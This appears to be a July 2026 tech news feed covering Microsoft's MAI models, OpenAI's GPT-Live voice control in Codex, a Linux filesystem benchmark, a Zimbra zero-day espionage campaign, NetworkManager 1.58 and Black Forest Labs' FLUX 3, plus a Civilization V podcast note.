Translated from executive prose: capabilities that were state-of-the-art a year ago are now table stakes, and Microsoft believes it can replicate them cheaply for the specific, repetitive tasks that dominate real product usage. Why pay frontier prices for a frontier model when a user just wants to reformat a spreadsheet column?
Nadella was careful to note that "frontier models from OpenAI and Anthropic are part of the orchestration system alongside MAI" — but he also articulated a pointed principle of model independence, arguing that a company's evaluations "should continue to hill climb even when any given model has been removed." 
“Keeping the harness, memory, context, and skills outside the model, he argued, is what gives Microsoft control. The subtext is hard to miss. Reuters reported in April that Microsoft’s exclusive license to OpenAI’s technology had been revised into a non-exclusive arrangement, and The Information reported last September that Microsoft had begun incorporating Anthropic models into some products. Wednesday’s announcement completes the triangle: Microsoft as orchestrator, with its partners’ frontier models as interchangeable components and its own models absorbing an ever-larger share of routine traffic.”
Developers cheer cheaper task-specific models while skeptics question Microsoft's track record
The response online captured both the appeal and the skepticism surrounding the strategy. "I love when people use small models for niche tasks," wrote one X user, @mavihsk, responding to Nadella's post. "Why do I have to use the all-knowing model just to change my field in Excel?" Another user, @nabu_lines, distilled the pitch neatly: "cost and performance both improve when you stop overusing the biggest model."
Others were less charitable about Microsoft's execution track record. "Microsoft is the worst when it comes to listening to user feedback," wrote designer @designedbyabin, arguing the company "will lose the AI race because they repeatedly failed to understand user needs." And one user, @tokenoverflow, offered a drier critique of the model-independence pitch: "i want it keep hill climbing after removing microsoft."
The skeptics raise a fair point. Microsoft's self-reported metrics — accept rates, save rates, GPU savings — come from its own internal evaluations, not independent benchmarks, and the company chooses which comparisons to publish.
But the strategy's logic does not depend on any single number. Nadella's framing that software now has "real marginal cost for the first time" explains why Microsoft is obsessive about tokens, GPUs, and serving costs: when AI features run on every keystroke across a billion-user product portfolio, an 84% GPU cost reduction is not an optimization. It is the difference between a viable business and a money pit.
Why Microsoft is turning its internal AI playbook into an Azure product
The final piece of the strategy is that Microsoft is selling the playbook, not just the models. Nadella explicitly positioned the hill-climbing approach as "a template for every other AI native, SaaS, or Enterprise company," and Microsoft is packaging the toolchain through Foundry and what it calls Frontier Tuning — letting enterprises train specialized models against their own proprietary evaluations and reinforcement learning environments. That turns Microsoft's internal cost-cutting exercise into an Azure product, and it gives enterprise customers a reason to run their AI workloads on Microsoft's cloud even if the models themselves come from elsewhere.
The company's emphasis on models trained "on clean, traceable, enterprise-grade data, without distillation from third-party models" serves the same commercial end. In an industry facing mounting scrutiny over training data provenance, Microsoft is betting that enterprise buyers — and courts — will care where model capabilities come from. Microsoft says it is now extending the hill-climbing approach to Copilot Chat, Outlook, and PowerPoint, and both new models are available in public preview through Microsoft Foundry and the MAI Playground. "None of this is an endpoint," the company wrote. "We're just getting started."
Seven years ago, Microsoft bet more than $13 billion that OpenAI would build the future of AI. Wednesday's announcement suggests the company has since learned a cheaper lesson: the future of AI may belong to whoever builds the frontier, but the profits belong to whoever makes it ordinary.


HPR4690: Playing Civilization V, Part 14
Fri, 24 Jul 2026 02:04:41 +0200
This show has been flagged as Clean by the host.

In our sample game we look at playing as Austria and aiming for a Diplomatic Victory. And our focus is on puppeting City-States, but I misunderstood and instead of making a Diplomatic Victory easier, it makes it harder. I still managed to get my Diplomatic Victory, but a Science or Domination Victory would definitely have been easier in this scenario.

Playing Civilization V, Part 14

Now I am at turn 340, I just puppeted another City-State, and I have one more on the way. I have sent a large number of military units, both land and sea, to the City-States that are on Japan’s border. If he tries anything now he will likely regret it. Now I am starting to build things I had not bothered with before, like Granaries and Amphitheaters. I got a couple of Great Engineers, and used them to rush build Wonders. I am nearly finished puppeting all of the City-States, and my Happiness and Income are both quite healthy. I am in such good shape I started to build the World’s Fair, which I initally proposed then ignored.

At this point I only have one more City-State to puppet, then I will have puppeted every City-State in the game. So it is time to put my large income to use in other ways by giving gifts to the other players. I may want to get a few more votes on my side to get over the top in the World Leader vote when it happens. On turn 357 I completed the puppeting of all of the City-States in the game. Meanwhile, I am building up my Science and building Wonders as they become available. I didn’t build any in the early game because I had other priorities, but now I have a strong military, high income, and no other pressing needs. My score on the Leader Board is now double that of my nearest competitor which is still Japan. And their denunciation me of just expired with them taking no action.

I used a Great Engineer to rush build the Porcelain Tower, earning me another Great Scientist, which I then used to build another Academy. At this point it is mostly a slog to the finish. Since I was so dominant and so wealthy I could afford to pursue a couple of other options just in case. One was a Science victory, which looked like a possibility, though it would be close. I had to be very focused in my Science Research. The other option was a Culture victory, and I had dominated two other empires culturally without half trying, and I was generating Great Artists, Great Musicians, and Great Writers pretty rapidly. So I built Museums, then Archeologists, and grabbed every artifact I find to stuff into the Museums. But the final Victory came when I researched Globalization. This tech allows you to get an extra vote in a World Council for every Spy you send to another empire’s capital and designate as an Ambassador. I immediately sent my spies out (they had previously been in my cities doing counter-espionage since I had a tech lead). And a few turns later a vote for World Leader came up and I won.

This was my first time using Maria Theresa of Austria as my leader, and it was fun, but in the end puppeting all of the City-Staters actually made it harder to win a Diplomatic victory. In other games I have played, every City-State that was an ally was an extra vote in the World Council, and I assumed that making them puppets would mean I would get that many votes. But that didn’t happen. Of course, if I had read more carefully in the Civilization Wiki I would have realized this, because it says there very clearly that Austria is one of the worst Empires to pick if you are going for a Diplomatic victory. So the fact that I managed it anyway is nice. I think I actually could have done a Science victory as I had my Spaceship half-built when I won the Diplomatic Victory. But I hope this analysis of how I actually played this game will be helpful to someone else.

Links

https://www.palain.com/gaming/civilization-v/playing-civilization-v-part-14/



Provide feedback on this episode.


Agentic coding goes hands free as OpenAI brings GPT-Live's full duplex voice control to Codex and ChatGPT on the desktop
Fri, 24 Jul 2026 00:20:42 +0200
Two weeks after debuting its more naturalistic GPT-Live audio AI model with full-duplex capabilities (listening and speaking at the same time), OpenAI is bringing it directly into developer workflows. 
The company announced that GPT-Live now powers the ChatGPT desktop application on macOS and Windows, integrating directly with agentic systems like Codex and ChatGPT Work (which are separate experiences available in the ChatGPT desktop app). 
When OpenAI initially launched GPT-Live on July 8, 2026, it introduced a continuous audio model capable of listening and speaking simultaneously—eliminating rigid turn-taking while delegating complex reasoning to background models like GPT-5.5. 
Today's release expands that conversational layer to technical tasks, enabling software engineers to orchestrate multi-threaded coding jobs, review pull requests, and debug applications using natural voice commands.
As such, it could usher in a new era of "hands free" software development and even live, in-person group coding parties for Codex's more than 5 million weekly active users. Codex, of course, is the name given to OpenAI's models and harness focused on coding, but which the company has this year expanded into a more general productivity platform. An OpenAI spokesperson told VentureBeat this is the first time voice activation has been included natively with Codex on the desktop. 
OpenAI posted a promotional video showing some of its employees, Codex developer experience engineer Jason Liu and Codex technical staffer Guinness Chen, speaking to the same ChatGPT desktop app session in the same room, each issuing different instructions and conversing with the same model. 
New capabilities unlocked
At its core, this integration relies on decoupling the real-time voice layer from the underlying execution engines.
While GPT-Live maintains fluid conversation—inserting natural verbal acknowledgments like "got it" without interrupting the user—it passes heavy computational workloads to background reasoning models. 
On macOS, the desktop application incorporates "Appshots" and screen context features, allowing ChatGPT Voice to analyze the frontmost window alongside local files, codebase structures, and active plugins.
This architecture creates a pair-programming dynamic where developers talk through problems conversationally while agents execute tasks asynchronously. 
Rather than manually stopping coding sessions to type detailed instructions or switch windows, developers direct the system hands-free. 
The full-duplex engine dynamically decides when to speak, pause, or invoke tools, maintaining conversational state even as background agents process complex code modifications.
Directing coding and complex builds with your voice alone
The central operational capability in this update centers on multi-task execution across Codex and ChatGPT Work environments. 
Software engineers can initiate multiple concurrent task threads from a single spoken prompt. For instance, a developer preparing to ship a feature can instruct the system to investigate an open authentication bug, review a pending API migration pull request, and generate missing unit tests simultaneously.
The desktop application coordinates these actions across disparate contexts, tracing issues through Slack conversations, GitHub repositories, and local codebases.
Developers can also verbally convert design mockups into working code, splitting tasks across frontend, backend, and testing layers. 
With support for multi-folder projects (build 26.715) and remote execution via iOS, engineers can check task progress, answer agent prompts, and redirect active jobs without switching applications or managing individual processes line by line.
Proprietary license
OpenAI’s voice-enabled desktop release operates under a proprietary, commercial enterprise model. Access is restricted to paid subscribers across Plus, Pro, Business, Enterprise, and Education plans.
For individual developers and corporate engineering departments, this commercial structure means the model weights, voice processing pipelines, and agent state architectures remain fully closed. 
Organizations cannot modify or self-host the underlying systems. Furthermore, tasks initiated via ChatGPT Voice consume standard usage allocations directly from existing Codex and ChatGPT Work plan quotas, treating voice-triggered actions identically to standard agentic workloads.
Community reactions
Developer communities immediately noted the implications of bringing continuous full-duplex voice to autonomous coding workflows. 
Reacting to the build 26.715 release announcement—which details voice integration and multi-folder project support—AI Insider journalist @ChrisGPT noted on X: "Today OpenAI will release voice and remote guidance for codex ! One step closer to personal AGI". 
Early technical feedback highlights widespread enthusiasm for orchestrating complex agentic tasks hands-free, particularly when stepping away from the workstation or managing build pipelines remotely.


I built a Linux filesystem benchmark for corruption, snapshots, rebuilds and ENOSPC across 26 storage layouts
Fri, 24 Jul 2026 00:13:06 +0200
Most filesystem benchmarks measure throughput on a freshly formatted single device. That is useful, but it misses many of the reasons people choose btrfs, ZFS or bcachefs in the first place.
 I built modern-fs-benchmark to examine modern filesystems as complete storage systems, including their features, failure modes and behavior over time.
 The current matrix contains 26 configurations across btrfs, ZFS, bcachefs, ext4 and XFS over md/LVM, dm-integrity, native and LUKS encryption, parity layouts, and XFS on a ZFS zvol.
 Hosted CI dashboard:
 https://bartosz.fenski.pl/modern-fs-benchmark/
 Experimental real-hardware dashboard:
 https://bartosz.fenski.pl/modern-fs-benchmark/real-hw/
 Apache-2.0 licensed source and complete methodology:
 https://github.com/fenio/modern-fs-benchmark
 The raw benchmark datasets are published under CC BY 4.0. Every result records the kernel and filesystem tool/module versions. CI artifacts also contain a full command trace, so the exact workload is inspectable rather than hidden behind a chart.
 Why I started this project
 Many filesystem benchmarks follow a familiar pattern: create a filesystem with mostly default options, mount it, run fio or another generic workload, and compare throughput.
 General-purpose suites such as the Phoronix Test Suite are useful for conventional performance comparisons, but they do not focus on the machinery that makes modern copy-on-write filesystems interesting.
 I wanted a benchmark designed around btrfs, ZFS and bcachefs as multi-device storage systems rather than treating them as interchangeable replacements for ext4 on a single freshly formatted disk.
 That means testing behavior such as:
 - Redundancy and degraded operation
 - Snapshot aging, scaling and reclamation
 - Compression and encryption
 - Reflinks and clone divergence
 - Fsync tail latency and responsiveness under load
 - Rebuild and scrub behavior
 - Near-full and hard-ENOSPC behavior
 - Data integrity and recovery from corruption
 Ext4 and XFS over md, LVM and dm-integrity are included as classic-stack baselines so the costs and benefits of integrated CoW designs can be compared with layered alternatives.
 Silent corruption is one particularly important example. When one redundant copy is deliberately corrupted behind the filesystem, checksumming filesystems such as btrfs, ZFS and bcachefs can identify the damaged copy and recover from a valid replica.
 Traditional md/LVM redundancy without data checksums can notice during a scrub that its copies disagree, but it cannot determine which one is correct. In my tests, some classic configurations returned corrupted data successfully without an application-visible error.
 The dm-integrity configuration shows that a classic layered stack can obtain integrity protection too, with a measurable performance cost.
 An important limitation
 The main dashboard uses loop devices on GitHub-hosted VMs. Absolute throughput numbers and small differences between filesystems should not be interpreted as hardware rankings.
 The hosted runs are primarily useful for:
 - Correctness and integrity outcomes
 - Comparisons within the same job
 - Large behavioral differences
 - Snapshot-aging and near-full shapes
 - Trends across repeated runs
 Real disks are required for meaningful absolute performance, concurrency scaling, device parallelism and mixed-media topologies.
 I am aware of this limitation and do not want the hosted dashboard to suggest more precision than the underlying environment can provide.
 The real-hardware experiment
 Kent Overstreet, the creator of bcachefs, made one of his Hetzner machines available for a real-hardware experiment.
 The server had two physical NVMe devices. It completed three full benchmark runs, which are available in the separate real-hardware dashboard. These runs provided meaningful absolute measurements and exposed concurrency behavior that cannot be observed when several loop devices share one virtual disk.
 During the fourth run, one NVMe controller entered the kernel’s dead state. The existing machine environment had its operating system on RAID0 across the two NVMe devices, so the hardware failure also made part of /nix/store unreadable and eventually prevented new SSH sessions.
 The incomplete fourth run is not being published as benchmark data. This was a failure of the underlying hardware, not a result attributable to any filesystem being tested.
 I am grateful to Kent for providing the machine and making the real-hardware experiment possible. Without that access, the three existing hardware runs would not exist.
 Where I would like to take it
 Better hardware would not merely produce more reliable throughput numbers. It would enable an entirely new class of tests designed for multi-device and multi-tier filesystems.
 I would eventually like to run the suite on a machine containing several storage classes, for example two HDDs, two SSDs and an NVMe device.
 That could support scenarios such as:
 - HDD, SSD and NVMe baselines using identical workloads
 - bcachefs foreground and background targets
 - ZFS HDD data vdevs with SSD special vdevs
 - Separate ZFS L2ARC and SLOG experiments
 - LVM dm-cache in writeback and writethrough modes
 - Metadata and small-block placement on faster media
 - Foreground latency during background migration
 - Contention between fast and slow storage tiers
 - Degraded operation and rebuild under application load
 - Performance before, during and after promoting or evacuating a storage tier
 These are the kinds of scenarios for which multi-device and multi-tier filesystems are built, but they cannot be represented honestly when every “device” is a loop file backed by the same cloud disk.
 I am considering either renting a suitable dedicated server or eventually building and hosting my own machine. Providers such as Worldstream offer configurations close to what I need, but the recurring cost is currently outside the project’s budget.
 For now, the benchmark will remain in its hosted-CI form for an unknown amount of time. The existing dashboard will continue to be useful for correctness, behavioral comparisons and regression tracking, but it cannot answer every real-hardware performance question or model complex mixed-media topologies.
 I am also open to running the suite on hardware provided by someone else. A useful environment would need Linux root access, clearly identified block devices that may be wiped, and enough uninterrupted access to complete repeated runs. The hardware description, methodology and resulting data would remain public.
 I would appreciate technical feedback:
 - Which current tests are misleading or unfair?
 - Which failure scenarios are missing?
 - Which mixed-media topologies would be most useful?
 - Which additional filesystems or layered stacks should be included?
 - Which results deserve deeper investigation?
 The methodology, implementation and raw results are public. If a filesystem is being tested in a way that misrepresents it, I consider that a bug in the benchmark.
 
   submitted by    /u/bfenski  
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KI-Adoption im Unternehmen: Security gewinnt Tempo durch Governance
Thu, 23 Jul 2026 23:58:23 +0200
LONDON (IT BOLTWISE) – Security-Teams verändern gerade ihre Rolle: Wer KI schneller freigibt, wird zum bevorzugten Partner im Unternehmen. Laut dem State of AI Report nutzen 76 % der Mitarbeitenden KI bereits in irgendeiner Form – viele davon ohne vorherige Sicherheitsprüfung. Anstatt mit Blockaden zu reagieren, setzen die erfolgreichsten Organisationen auf Governance mit klaren Zugangswegen, […]
... den vollständigen Artikel »KI-Adoption im Unternehmen: Security gewinnt Tempo durch Governance« lesen
Dieser Beitrag KI-Adoption im Unternehmen: Security gewinnt Tempo durch Governance erschien als erstes auf IT BOLTWISE x Artificial Intelligence.


Russian Hackers Exploit Zimbra Zero-Day Against US, Ukraine Targets
Thu, 23 Jul 2026 23:39:59 +0200
A state-sponsored threat group, dubbed "Laundry Bear," sends "half-click" phishing emails that require a victim only to open or preview the message.


Maryland Counties Rush to Fill Data Center Zoning Gaps
Thu, 23 Jul 2026 22:37:55 +0200
Agencies along the Eastern Shore are considering the pressures data centers could place on power, water and rural roads, and hurrying to amend their zoning. State lawmakers, though, could override local laws.


NetworkManager update advances IPv6-only support, Wi‑Fi management, and security for Linux-based operating systems
Thu, 23 Jul 2026 21:34:46 +0200

		
					  
						




Networking is core to any operating system, and when it comes to Linux, it’s actually a combination of several key components. The Linux kernel handles the data plane, moving packets, and holding live device state. NetworkManager is the network configuration service, operating as the control plane, deciding what a device’s configuration should be.



NetworkManager 1.58 was released this week, following more than five months of development and 407 commits since version 1.56. The release covers three areas: expanded support for IPv6-only networks, a set of Wi-Fi management updates, and a round of security hardening.



IPv4 address exhaustion remains the pressure behind the first of those areas, pushing more networks toward IPv6-only operation every year.



“More networks, mobile carriers, cloud providers, and anyone squeezed by IPv4 exhaustion are running IPv6-only by default,” Chris Van Hoof, director of Linux engineering, platform enablement at Red Hat, told Network World.



Advancing IPv6-only support



Dual stack networking, running IPv4 and IPv6 in parallel, has been the default IPv6 transition strategy for years. Dual stack networking, however, has a structural problem in that it still requires an IPv4 address on every device, so it does nothing to relieve address exhaustion pressure.



An alternative model called IPv6-mostly addresses that gap. It is defined in RFC 8925, “IPv6-Only-Preferred Option for DHCPv4,” and lets capable clients drop IPv4 entirely while legacy hosts that still need it keep receiving it on the same network segment.



“NetworkManager can also now auto-signal RFC 8925’s IPv6-only-preferred option, telling the network a host is fine skipping an IPv4 lease entirely,” Van Hoof said.



For the traffic that still needs IPv4, NetworkManager 1.58 adds support for CLAT, short for customer-side translator. CLAT is the client-side half of 464XLAT, a mechanism defined in RFC 6877, “464XLAT: Combination of Stateful and Stateless Translation.”



464XLAT pairs CLAT on the endpoint, which performs stateless header translation, with a stateful NAT64 translator on the provider side, letting IPv4-only apps keep functioning on a network that has no IPv4 of its own.



“CLAT is the translation layer that lets legacy IPv4-only apps and services keep working on those networks without bolt-on middleware,” Van Hoof said.



Wi-Fi management updates



NetworkManager 1.58 also brings a set of changes to how the daemon handles Wi-Fi connections and configuration.




Band selection: The band property of Wi-Fi connections now accepts a 6GHz value, and a Wi-Fi scan run through nmcli, NetworkManager’s command line tool, now shows each access point’s band as well.



Credential handling: WPS credentials with a 64 character hex PSK are now accepted, matching what some access points return.



Text interface improvements: nmtui, NetworkManager’s menu driven text interface, picked up several usability additions. A new device select button lets you choose a physical interface from a list instead of typing its name. The activation screen gained a rescan Wi-Fi button, and secret prompts now include a show password checkbox. There is also a share QR code option, mirroring the existing nmcli device wifi show-password command.




Security hardening



The release fixes vulnerabilities and tightens several defaults tied to DHCP handling and connection permissions.




CVE-2026-10805: Hostnames and MUD URLs are now validated before being written to the dhclient configuration file, rejecting characters that could alter the config syntax.



DHCPv4 client fix: An out-of-bounds read in the internal DHCPv4 client, triggerable by an on-link attacker with a malformed UDP packet, has been fixed.



Router option validation: The internal DHCPv4 client now ignores DHCP option 3, the Router option, when a lease also contains option 121, the Classless Static Route option, following the recommendation in RFC 3442.



Permission checks and deprecations: For private connections that restrict access to specific users, NetworkManager now verifies that the user can access the referenced 802.1X certificates and keys.




Tunneling and automation updates



Two smaller but practical additions round out this release: a new tunnel type for virtualized networks, and a fix that closes a gap in how NetworkManager’s state survives a reboot.



NetworkManager 1.58 also adds support for creating and managing GENEVE tunnel interfaces. GENEVE, short for Generic Network Virtualization Encapsulation, is a tunneling protocol that wraps Ethernet frames inside UDP packets, letting virtualized or overlay networks run on top of physical Layer 3 infrastructure. It shows up mainly in virtualization and cloud environments, where a hypervisor or container networking layer needs to build a virtual network segment across physical hosts. Previously, NetworkManager could not create or manage these interfaces directly.



The release also adds persisted managed state. NetworkManager tracks whether it is responsible for a given network device, a setting called its managed state. Until now, that setting reset on every reboot, so provisioning tools had to reapply it each time a system restarted. NetworkManager 1.58 lets the managed state survive a reboot when it is set through nmcli or the D-Bus API.



“It’s a small change but closes a real automation gap: Provisioning tools and cloud-init style workflows can set a device’s state once via D-Bus or nmcli and trust it survives a reboot, instead of reapplying config every time,” Van Hoof said.



Russian Espionage Group Exploited Zimbra Zero-Day to Steal Mail and 2FA Codes
Thu, 23 Jul 2026 21:11:03 +0200
A Russian state-supported espionage group spent months reading Western mailboxes through a then-unknown flaw in Zimbra’s webmail client. The payload goes after the last 90 days of email, the organization’s entire email directory, the password saved in the browser and…
Read more →
The post Russian Espionage Group Exploited Zimbra Zero-Day to Steal Mail and 2FA Codes appeared first on IT Security News.


Russian Espionage Group Exploited Zimbra Zero-Day to Steal Mail and 2FA Codes
Thu, 23 Jul 2026 20:54:10 +0200
A Russian state-supported espionage group spent months reading Western mailboxes through a then-unknown flaw in Zimbra's webmail client.

The payload goes after the last 90 days of email, the organization's entire email directory, the password saved in the browser and the codes kept for two-factor recovery. Opening the message was enough to start it.

The NSA, CISA and partner agencies published


Black Forest Labs launches FLUX 3 capable of generating images and 20-second video with audio — but in limited release to start
Thu, 23 Jul 2026 20:48:22 +0200
Black Forest Labs (BFL) is expanding its FLUX family beyond image generation with today's launch of FLUX 3, a multimodal frontier model trained to understand and generate images, or combined audio/video clips up to 20 seconds from a single prompt — and to extend the same underlying architecture to robotic vision and actions.
The Freiburg, Germany-based AI lab says FLUX 3 is jointly trained across those modalities rather than assembling separate image, video and audio models behind a common interface. 
That distinction is central to the company's pitch: BFL wants enterprises to think about creative generation, simulation, computer use and robotics as connected applications of a single capability it calls visual intelligence — models, in the company's words, "that can perceive, predict, and act across physical and digital environments." This release marks BFL's first public video generation model. 
FLUX 3 will be offered through four product lines: FLUX 3 Video, FLUX 3 Image, FLUX 3 Action and the upcoming, open source FLUX 3 Dev. FLUX 3 Video, with optional native audio generation, and FLUX 3 Action are entering a gated "Early Access" program now, to which anyone can apply, but which BFL must approve. 
There is presently no public access through BFL's application programming interface (API) or those of partners yet, but the company says FLUX 3 Image will roll out in the coming weeks, followed by general availability. The limited initial availability rollout echoes the release strategies of new models from other frontier labs in the U.S. lately, including Anthropic and OpenAI, though those were ostensibly for security concerns and due to government request. 
What the company has not announced is pricing, production service-level commitments, evaluation methodology, sample sizes, rater counts or any image-model benchmarks at all. Enterprise buyers therefore cannot yet calculate total cost of ownership or independently reproduce the video comparisons.
Another big notable omission: FLUX 3 is not launching with downloadable weights at this time, nor an open source license. BFL says faster and open-weight versions will arrive later this year, and its technical blog names FLUX 3 Dev as "open-weight access to a multimodal backbone, for content creation (video, audio and image) and action prediction" — a considerably broader commitment than any previous FLUX Dev release, all of which covered images only.
But it arrives last in the sequence. Developers accustomed to receiving a locally deployable FLUX variant alongside — or soon after — a major model announcement will have to wait. That delay does not negate the company's commitment, but it is disappointing given the role open weights have played in FLUX's adoption thus far. 
Flux 3 is rated higher than the competition, but missing pricing and benchmarking details may prevent rapid enterprise adoption
BFL has published several benchmark comparisons, but they're qualified as preliminary — with full benchmark results and methodology to be published later during broader general availability. 
In early head-to-head preference testing on 10-second, 720p text-to-video clips with audio, the company says FLUX 3 was preferred over Luma Ray 3.2 in 93% of comparisons, Runway Gen-4.5 in 77%, Grok Imagine Video in 69%, Kling v3 Pro in 60%, Happy Horse v1 in 59%, Happy Horse 1.1 in 57%, and both Seedance 2.0 and Google's Gemini Omni Flash in 52%.
One caveat travels with every one of those figures, and it comes from BFL itself. The chart carrying the results is labeled a "preliminary evaluation of an early FLUX 3 candidate" — meaning the numbers describe a pre-release checkpoint rather than the model now entering early access. That cuts both ways: the shipping model may perform better, but nothing published today measures what customers will actually call.
Luma Ray 3.2 and Runway Gen-4.5, where FLUX 3 posted 93% and 77%, are the softest comparisons on the list — established products, but not the models currently setting the pace in independent video rankings. Those are real wins, and they are the ones least likely to change an enterprise shortlist.
Seedance 2.0, at 52%, is a statistical coin flip against a model most Western enterprises cannot currently procure. ByteDance indefinitely postponed Seedance 2.0's international rollout after Netflix, Warner Bros., Disney, Paramount and Sony sent legal threats over alleged systematic copyright infringement, and that suspension remains in place. Tying a frozen product is neither a strong claim nor a damaging one.
Gemini Omni Flash, also at 52%, matters much more. Omni is the closest large-platform analogue to what FLUX 3 is attempting — multimodal input, video and audio-aware creation, conversational editing — and by BFL's own measurement, the two are indistinguishable on 10-second text-to-video quality. 
Google's advantage in that matchup is that Omni is generally available via Google's Gemini API for $0.10 per second of generated 720p video, or a 10-second clip for around.
One regional wrinkle matters for a German company's home market. Editing uploaded video is unavailable to Omni Flash users in the European Economic Area, Switzerland and the United Kingdom, though editing video the model itself generated is permitted. A European enterprise that wants to run its existing footage through a generative editing pass cannot currently do so on Omni Flash.
Here's a rough guide for enterprises considering which video models to rely upon: 
Model Max single-generation duration Max resolution Key constraints Price per 10-second clip (720p) Price per 10-second clip (1080p) Price per 10-second clip (4K)
FLUX 3 Video 20 seconds Not stated; evaluations run at 720p Early access; no published SLA or pricing Not announced Not announced Not announced 
HappyHorse 1.1 15 seconds 1080p No 4K; closed weights Not published (v1.0 reseller rate is ~$1.82) Not published (v1.0 reseller rate is ~$3.12) n/a 
Veo 3.1 Per-second billing 4K Supports clip extension; preview $4.00 $4.00 $6.00 
Veo 3.1 Fast Per-second billing 4K Preview $1.00 $1.20 $3.00 
Veo 3.1 Lite Per-second billing 1080p No 4K, no clip extension; preview $0.50 $0.80 n/a 
Gemini Omni Flash 10 seconds (3s minimum) 720p at 24 FPS Preview abd no EU access $1.00 n/a n/a 
One architecture for media generation and physical action
FLUX 3 builds on Self-Flow, BFL's method for aligning multimodal understanding and generation within one architecture, publicized back in March 2026. 
The company says it significantly scaled up compute and data to train across video, images and audio simultaneously, and that testing showed video generation and action prediction do not require separate foundations — the same architecture could be extended to action prediction without sacrificing what it learned from video.
"We place vision at the center of our approach because it is the most signal-rich medium of the physical world. Images convey structure, images and video teach spatial relationships, video teaches dynamics, and actions reveal causal relationships. But vision alone is not the complete picture," said Robin Rombach, co-founder and CEO of BFL, in a pre-release statement provided to VentureBeat. "True intelligence means perceiving the world: predicting how it will change, taking action, and learning from the results. Joint training within one unified architecture is what will get us there, because each training modality strengthens the others. Audio conveys timing, prosody, and physical events that elude vision. Language conveys goals, abstractions, and instructions that pixels cannot easily express."
He put the case more bluntly elsewhere in the announcement: "You can't cheat reality. A model that only learns images can only generate images. But the world is not made of still frames. It moves, sounds, changes, and responds."
BFL says FLUX 3 targets creative tooling, media, design, e-commerce and physical AI, supporting video generation with synchronized audio, precise image editing, product and material consistency across motion, multilingual generation and robotic action prediction. It is already being tested by Canva, Burda, Magnific (formerly Freepik), Krea and Picsart.
For creative software companies, the appeal is consolidation. A single foundation could potentially support storyboarding, image editing, product rendering, video variation and localization without repeatedly translating assets and instructions between disconnected models.
For robotics teams, the potential value is data efficiency. Models that already encode motion, object behavior and physical change may need less task-specific robot training than systems starting from raw demonstrations.
What FLUX 3 Video can actually do
The video tier is the most concretely specified part of the launch, and it settles a question that had been circulating as rumor: FLUX 3 generates clips of up to 20 seconds with audio in a single generation. 
Every video output comes with native audio. For comparison, HappyHorse 1.0 tops out at 15 seconds of 1080p with synchronized audio — though BFL has not stated what resolution its 20-second clips run at, and its published evaluations were conducted at 720p. Still, a 20-second long clip from a single prompt is among the longest yet achieved, matching OpenAI's discontinued Sora model.
The capability list BFL published covers:
Text-to-video generation.
Image-to-video generation, either animating from a starting frame or using images as visual references.
Video-to-video generation from a reference clip, carrying elements such as a specific character into a new scene or context.
Generative video-audio continuation from existing video and audio input.
Keyframe-to-video generation for controlled transitions between defined moments.
 Multilingual dialogue.
A broad range of visual styles and aspect ratios, from candid camcorder footage to animation and cinematics.
Typography generation and animated design.
Agentic chaining of individual clips into longer, multi-shot sequences.
That last item is the one enterprise video teams should look at hardest. BFL claims the capabilities combine to produce sequences lasting several minutes, with visual references keeping characters consistent across scenes. If that holds up under production conditions, it addresses the constraint that has kept generative video out of most commercial pipelines: not clip quality, but continuity across shots.
It is also the capability where competition is most direct. HappyHorse 1.1's headline upgrade is R2V, or Reference-to-Video, which accepts multiple character reference images to hold identity stable across generated footage — the same problem, approached at the input layer rather than through agentic clip chaining. Alibaba also claims zero-drift lip sync and has specifically targeted the artifacts that mark commercial AI video as synthetic, including facial oiliness and over-sharpening. Character consistency is where this category is being contested, and both companies know it.
BFL says FLUX 3 Video is already particularly strong at human facial expressions, associating sounds with physical events, and multilingual output. On the image side, the company says preliminary evaluations conducted during midtraining show significant improvement over earlier FLUX versions in complex prompt handling and text generation, including high-accuracy text in multiple languages. It published no image benchmarks or win rates.
FLUX-mimic tests whether video models can become robot models
BFL is applying its unified-architecture thesis through FLUX-mimic, a video-action model built on FLUX 3 and developed with Swiss firm Mimic Robotics, one of the first partners to receive early access.
The technical blog describes two distinct routes to action prediction: integrating native action prediction directly into FLUX 3, scaling up the initial Self-Flow work; and using the pretrained video backbone as a dynamics-aware foundation from which specialized action models can be finetuned with limited task-specific data. FLUX-mimic is the second route — the FLUX 3 backbone combined with mimic's robot-learning and production-deployment expertise in dexterous manipulation.
FLUX-mimic is designed for general-purpose robotic manipulation: helping robots understand a visual scene, predict the consequences of an action, and adapt to new tasks with far less task-specific data. 
BFL and Mimic Robotics say that depending on task difficulty, the model can be finetuned for a specific manipulation task with as little as 30 minutes of robot data, where prior approaches have required 30 or more hours.
"The hardest part of robotics is data," said Elvis Nava, CTO of Mimic Robotics, in a statement provided to VentureBeat. "Every new task normally means hours of a robot repeating itself. Because FLUX-mimic is built on top of frontier video models that already understand how the physical world behaves, it picks up a new task in minutes, not days. This way, we can leapfrog the current state of the art in robot learning."
BFL argues that a model trained only on images cannot understand a world that "moves, sounds, changes, and responds," and that physical understanding is what produces convincing generated footage. Google makes a nearly identical claim for Gemini Omni. 
Its developer documentation cites "world knowledge" that combines "an understanding of physics" with Gemini's grasp of history, science and cultural context. Its marketing is blunter still: "Most AI models just predict the next pixel to build a narrative or an image. Gemini Omni is different," the company posted in June, crediting the model with "an intuitive understanding of forces like gravity, kinetic energy, and fluid dynamics for more realistic movements that follow real-world logic." 
The practical consequence for enterprise buyers is that world-model language is not a differentiator. Two of the three leading video systems now market physical understanding as their central advantage, and neither has published a benchmark that measures it. 
There is no standard test for whether generated water behaves like water, whether a dropped object falls at a plausible rate, or whether a sound arrives when the impact does. Human preference ratings capture some of it indirectly. Nothing else on offer captures it at all.
Open weights helped make FLUX an industry standard
BFL officially launched in summer 2024 and gained a name for itself in the AI industry in the intervening two years for its commitment to open sourcing high-quality AI image models beloved by developers, creatives, and enterprises. 
The company's founders, including Rombach, Andreas Blattmann and Patrick Esser, previously helped create VQGAN, latent diffusion and Stable Diffusion, the latter the open source technology that kicked off broad AI generation capabilities for the masses and currently used by many AI image generators and companies. 
That reach translated into commercial distribution. FLUX models now power generative features inside Adobe Photoshop, Picsart and Nous Research's Hermes Agent, among other platforms, and the company cites film director Martin Scorsese among professional users.
Wired magazine described Black Forest Labs as a relatively small company that nevertheless became a leading competitor to Silicon Valley's largest AI labs, with FLUX models ranking near the top of image benchmarks and becoming some of the most downloaded text-to-image models on AI code sharing community Hugging Face. The company says it now runs a 100-person team across Freiburg and San Francisco.
